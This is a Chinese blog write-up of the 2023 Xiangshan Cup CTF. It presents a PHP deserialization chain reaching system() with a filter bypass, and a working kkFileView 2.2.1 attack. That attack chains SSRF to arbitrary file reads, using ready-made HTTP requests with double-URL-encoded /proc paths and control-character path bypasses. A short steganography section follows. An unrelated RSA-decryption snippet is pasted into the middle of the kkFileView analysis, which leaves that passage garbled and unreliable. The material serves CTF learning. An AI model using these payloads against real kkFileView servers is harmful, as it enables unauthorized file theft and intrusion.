2023香山杯

2023香山杯

WEB

PHP_unserialize_pro

签到题,比较简单的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'welcome';
public function __construct(){
$this->name = 'Wh0 4m I?';
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){
echo $this->arg;
}
}
}

class G00d{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
}

class H4ck3r{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}

if(isset($_GET['data']))
unserialize($_GET['data']);
else
highlight_file(__FILE__);

pop链

1
2
3
Welcome::__destruct   $name
H4ck3r::__toString $func
G00d::__invoke

这里过滤了flag字符,利用more+正则匹配[0-z]绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'A_G00d_H4ck3r';
}

class G00d{
public $shell = 'system';
public $cmd = 'more+/[0-z][0-z][0-z][0-z]';
}

class H4ck3r{
public $func;
}

$aaa = new Welcome();
$aaa->name = new H4ck3r();
$aaa->name->func = new G00d();

echo serialize($aaa);
?>

sharedBox

hint:kkfileview2.2.1 的漏洞利用

环境配置

项目地址:https://github.com/kekingcn/kkFileView

git下来后回退到2.2.1版本

img

因为我本地是windows,所以还要下载OpenOffice

https://www.openoffice.org/download/

下载安装完根据readme运行FilePreviewApplication的main方法

img

漏洞分析

访问http://localhost:8012

原题的kkfileview部署在/fileview/下,本地在/,原题用的linux,本地为windows

img

存在3个路由

/onlinePreviewpicturesPreview/getCorsFile

img

主要漏洞点:

/onlinePreview,在线浏览功能,这里有一个xss和ssrf的漏洞 picturesPreview,图片预览,有xss漏洞 /getCorsFile,任意文件读取和ssrf漏洞

具体分析:

  1. xxxxxxxxxx import gmpy2from Crypto.Util.number import n = 121027298948349995679677982412648544403333177260975245569073983061538581058440163574922807151182889153495253964764966037308461724272151584478723275142858008261257709817963330011376266261119767294949088397671360123321149414700981035517299807126625758046100840667081332434968770862731073693976604061597575813313r = getPrime(6)e = 65537a = 11001240791308496565411773845509754352597481464288272699325231395472137144610774645372812149675141360600469640492874223541765389441131365669731006263464699c = 42256117129723577554705402387775886393426604555611637074394963219097781224776058009003521565944180241032100329456702310737369381890041336312084091995865560402681403775751012856436207938771611177592600423563671217656908392901713661029126149486651409531213711103407037959788587839729511719756709763927616470267p = gmpy2.next_prime(a - r)q = gmpy2.next_prime(gmpy2.next_prime(a) + r)​phi_n = (p-1)(q-1)d = gmpy2.invert(e,phi_n)m = pow(c,d,n)print(long_to_bytes(m))Python

支持file和http协议,而且没有过滤,造成ssrf

  1. /getCorsFile下断点
img

跟进到getInputStreamFromUrl这里没有过滤传入的字符,造成了任意文件读取

img

可以参考:https://github.com/kekingcn/kkFileView/issues/128

题目分析

在题目的环境中对getCorsFile进行了限制,直接访问的话会返回 403

那么就由此有了一个思路:onlinePreview接口ssrf请求到getCorsFile,然后任意文件读取

http://localhost:8012/onlinePreview?url=http://127.0.0.1:8012/getCorsFile?urlPath=file:///C:/Windows/win.ini

但是,我们来看看实际效果

img

文件类型不支持,那么从源码里看看它为什么不支持,以及支持什么格式的文件

下个断点

img

跟进到这一段,经过getFileNameFromURL处理后得到文件名为getCorsFile

img
img

最终传入判断后返回不支持

img

那么这也说明了无后缀文件是无法读取的,那看看支持的文件格式

看到这里,返回有picture、pdf、media等,但是这些肯定不支持文本形式的flag

然后注意到simText类型

img

支持txtjsp

img

现在引入一个知识点

spring boot的路径匹配

img

而源码中的版本恰好是1.5.8

img

那么就有了一个思路:

http://localhost:8012/onlinePreview?url=http://127.0.0.1:8012/getCorsFile.txt?urlPath=file:///C:/Windows/win.ini

这样就会解析成

http://localhost:8012/onlinePreview?url=http://127.0.0.1:8012/getCorsFile?urlPath=file:///C:/Windows/win.ini

然后服务端又是怎么处理这个多出来的.txt

img

可以看到file目录下多了getCorsFile.txt,里面的内容就是要读的文件的内容

那么这个是怎么实现的呢

onlinePreview 最后调用了 filePreviewHandle,然后调用了 downLoad

img

downLoad中利用saveBytesToOutStream将读的内容写入文件

img

这里解释了为什么会多一个getCorsFile.txt.txt

img

最后就是怎么读取getCorsFile.txt

正常思路

http://localhost:8012/onlinePreview?url=http://127.0.0.1:8012/getCorsFile.txt

但是刚刚提到spring boot特性会将getCorsFile.txt解析为getCorsFile

所以用%01%02等不可见字符(猜测是不可见字符,本地测试是可以的)绕过http://localhost:8012/%01getCorsFile.txt

题解

综合上述

将文件写入

http://localhost:8012/onlinePreview?url=http://127.0.0.1:8012/getCorsFile.txt?urlPath=file:///C:/Windows/win.ini

读文件

http://localhost:8012/onlinePreview?url=http://127.0.0.1:8012/%09getCorsFile.txt

img

比赛环境已经关了,赛题的后续利用无法复现了

最后贴个lxxxin师傅的题解,参考:https://www.yuque.com/dat0u/ctf/lbp2gfi6gttxsymb

最终Payload如下,题目应该是在nginx或者/onlinePreview路由处对proc、fd关键字做了匹配,由于是SSRF,会发起两次http请求,因此可以通过双重URL编码绕过

1
2
GET /fileview/onlinePreview?url=http://localhost:8012/getCorsFile.jsp?urlPath=file:///%2570%2572%256f%2563/29/%2566%2564/6 HTTP/1.1
Host: 101.201.35.76:22873
img

绕过后,读取的文件内容会保存在getCorsFile.jsp中,用%09、%02等字符绕过一下读取文件即可

1
2
GET /fileview/%09getCorsFile.jsp HTTP/1.1
Host: 101.201.35.76:22873
img

比赛的时候,/flag提示我们要RCE,但是这题可以通过非预期读取/proc/29/fd/6获取到flag

img

预期应该是读/root/flag.java文件,然后再往下走......,这里因为赛后靶机关了,也就没机会尝试了,具体的flag.java代码如下,感兴趣的师傅可以自行尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.Properties;

public class flag {

public static void main(String[] args) {
Connection conn = null;
Properties prop = new Properties();
InputStream input = null;
try {
input = Files.newInputStream(Paths.get("/tmp/config.properties"));
while(true){
// 连接到SQLite数据库
// 创建一个属性对象
prop.load(input);

// 创建一个Connection对象,并传入属性对象
conn = DriverManager.getConnection("jdbc:sqlite:/tmp/mydatabase.db", prop);
// 设置密码
Statement stmt = conn.createStatement();
stmt.close();
Thread.sleep(5000);
}
// 接下来,你可以在此处执行其他操作
} catch (SQLException e) {
System.out.println(e.getMessage());
} catch (InterruptedException | IOException e) {
throw new RuntimeException(e);
} finally {
try {
if (conn != null) {
conn.close();
}
} catch (SQLException ex) {
System.out.println(ex.getMessage());
}
}

}
}

启动文件(/root/start.sh)如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/bin/bash

FLAG_PATH=/tmp/config.properties
FLAG_MODE=M_SED
if [ ${ICQ_FLAG} ];then
case $FLAG_MODE in
"M_ECHO")
echo -n ${ICQ_FLAG} > ${FLAG_PATH}
FILE_MODE=755
chmod ${FILE_MODE} ${FLAG_PATH}
;;
"M_SED")
#sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH}
sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
;;
"M_SQL")
# sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
# mysql -uroot -proot < ${FLAG_PATH}
;;
*)
;;
esac
echo [+] ICQ_FLAG OK
unset ICQ_FLAG
else
echo [!] no ICQ_FLAG
fi

unset ICQ_FLAG
rm -rf /etc/profile.d/pouchenv.sh
rm -rf /etc/instanceInfo
rm -rf /start.sh

/usr/sbin/nginx

/usr/sbin/crond

/usr/sbin/rsyslogd

javac /root/flag.java
nohup java -classpath /root/sqlite-jdbc-3.41.2.2.jar:/root/ flag >/dev/null &

nohup java -jar /root/upload.jar >/dev/null &
sleep 1;

rm /tmp/config.properties

java -Dfile.encoding=UTF-8 -Dsun.java2d.cmm=sun.java2d.cmm.kcms.KcmsServiceProvider -Dspring.config.location=/opt/kkFileView-2.2.1/config/application.properties -jar /opt/kkFileView-2.2.1/bin/kkFileView-2.2.1.jar &
exec tail -f /dev/null

参考

https://www.xx5xx.top/Writeup/WEB/2023%E9%A6%99%E5%B1%B1%E6%9D%AF-sharedBox/

https://www.yuque.com/dat0u/ctf/lbp2gfi6gttxsymb

https://www.cnblogs.com/xbbth/p/17446987.html

https://github.com/kekingcn/kkFileView/issues/128

MISC

PINTU

图片像素rgb值转2进制再转成字符串发现提示

然后图片高度隐写,8进制转10进制再转成ascii,发现是每两个字符为一组(因为中间有空格分隔)

再转一次ascii码,得到一串字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from PIL import Image
import os
from Crypto.Util.number import *
os.chdir(os.path.dirname(__file__))

#img_width = 65 # 所有图片的统一宽度
img_num = 4703 # 图片总数
num = '' #图片像素转二进制
heigth_list = [] #高度list
ten_chr = '' #高度转10进制

for i in range(1, img_num+1):
img = Image.open(f'pintu/{i}.png') # 打开图片
#像素rgb转二进制
pixel = img.getpixel((1,1))[0]
#print(pixel)
if pixel == 0:
num += '0'
else:
num += '1'

heigth_list.append(img.height)

num = int(num,2)
print(long_to_bytes(num).decode())
'''flag看到666c是不是特别兴奋,很可惜flag并不在这。(狗头保命),既然走到了这里,那我也给一个通关的关键信息拿去吧,去找到真正的flag吧:sUvcu5rgSeAmJQCfdXtEMKIB91Lj3niOo4hyV0b/2azpx8HqZP6wk7GNlTFYDR+W
哎,对了。拿走之前看一看我精心挑选的笑话吧:猎人打猎,朝狐狸开枪,“砰”地一声枪响之后猎人死了。狐狸叉着腰,冷笑一声:
“没想到吧,我是反射弧。”好不好笑, 有没有感觉一哆嗦,大脑更清晰了。ฅ՞•ﻌ•՞ ต'''

for i in heigth_list:
ten_chr += chr(int(str(i),8)) #8转10转ascii
#print(heigth_list)
print(ten_chr)

data = ten_chr.split(' ')
#print(data)
flag = ''
for i in range(len(data)):
flag += chr(int(data[i]))
print(flag)

#JRFTC5SFG5SU4STVHBTTCR2SKVSE2NKVIUYFCS2MOVFUWMLLGVKWITKLJZSE2NKVMRFUWY3EJU3VKZCNGVKU2SKQMNXE2WCVMRGTKVKNMM2XMRKLGE2US5SEOFWTMRDRNZVTO5LNGZCGYWDVOVYUG5KYKVWTMRDRMRBG4ZDNGZJE4TLWIRYWITJVOVWTMUSOMRGXK4LONM2VK3JWIRWGITJVMRWTMUSVJV3FEVLEJU2XKZCCNZKWITJVJZSE2NKVNZVTOVLEJU2VCWDVGVKUKTLEOFWTMRDMMRGTKVKYOU3XIRJWKJKGITJVKVSGEODQNJ2UWWCLGB2WWTDCOU3EWQRQJRCXKWDFMRBDINLJGVXEUSRPMFEUW5TYOFFEEWCTORGVQSBRNNJHKS2HKRDXIVSSOVEXE5JWNJGWCWCLIJIXATBXNZVUYQRROVIVMMDNORFWKR2JOJFU2S2JGBLEKTKQOFGU4UKGJN2FEUCNKY2EQQKOKVFU2TJVLBXESS3NMQXVMNZZKY2UQTJPMVSU2S2RINUXKMLVKFCW64KLJMZXO2JVJNEGI6JQO5GDKVJWOQ3TAMSLJVFFU2SNGAYW4Y2YMFGWWUSINJ2WY53EGA4WYTJWHB4GSZ2LJI4WENDWJQ3TKTBTG5LE45DHJNSUULZVOBFFMMJSJN2U2NSRM4YTSOKWMEZEYN3BOQ4UKZLDNFGVQ4SNJNIUUOJXNZ3FC23OOJFXONLZKFETQMTOI43VGSKNKBKTCVSQINUWENCLGFDWCYTJJU2GISLHGR3TG4SRIMZUES2YNZDTAMDUJUYEKTJQGV4ES6JRNVFWGMCUJI3XKN2NKZ4E45CHGB2DGYTBKFMHS33XIVHGK6KFO4YTCQ2CGRZG4VSYIFIWE6DXINZEW4BTI5QUC2LSG5LESVTOIF2E4YKTGM3TIVCKMIYTE3KHJMXXIY3PI52EK3TVNFZEWYKNO5LGW2SCKZYEK5ZUNQZXKODXLBCW4MJRKZFVAZCLKM3DSYRYKBXE4NCIJJVTE4KFKZITA2KJMR3UWQRUMFUWENDWJJHFCNDNNNJFGMZXMEXXIYTBKBIU2ZJPJIXVCSKYOI2HU5DHKM3USRJZOFGS642OGFDVQU3JGAYUW2TXGRAUS5KEKBXE2222JRTTG4BRIU2TMOKNGJ3UCTRVIZVESWCNNZRUWVSLJU2EM5COJM3VC5ZRMRXDA3ZXNFCTKWCKJZIWMMLDGREWUQTPJZUXSMBXNFTVQSCLIIZVI2TCNRIEK22LGZEWEUTMJU2WCZJZJV4FU2SJMVDFQVRXGFFGWUBYJJZG46CYGUYHSWBPGU4EWYRQJFVGEMLLNVVTS4KNOQ4DKSSHLAYDGRJVNBFUSNKFNZHDI2CFOU3U2M2NMFWUGSKSMFMGWN2WGM3TAOBTF42EEZDCHFWFQTLMOAZUWVJUNFBDSTSLMNJXATBWKI3FQYZRGZXGWODCGNDTSNZRKZJDQZCNGVKWITJVGVVHKMKNJQ3VCN2NJE3WGZBWONXTC4RVNM4UKYLBNJETKLZRORJFU2TCGNMTSYRVO4YUKOLL

base32->base64换表->base64

img

拿到一张rgb很混乱的图片,Piet隐写

用工具npiet

下载:https://www.bertnase.de/npiet/

1
npiet.exe -tpic download.png 

2023香山杯
http://example.com/2023/10/22/2023香山杯/
作者
dddkia
发布于
2023年10月22日
许可协议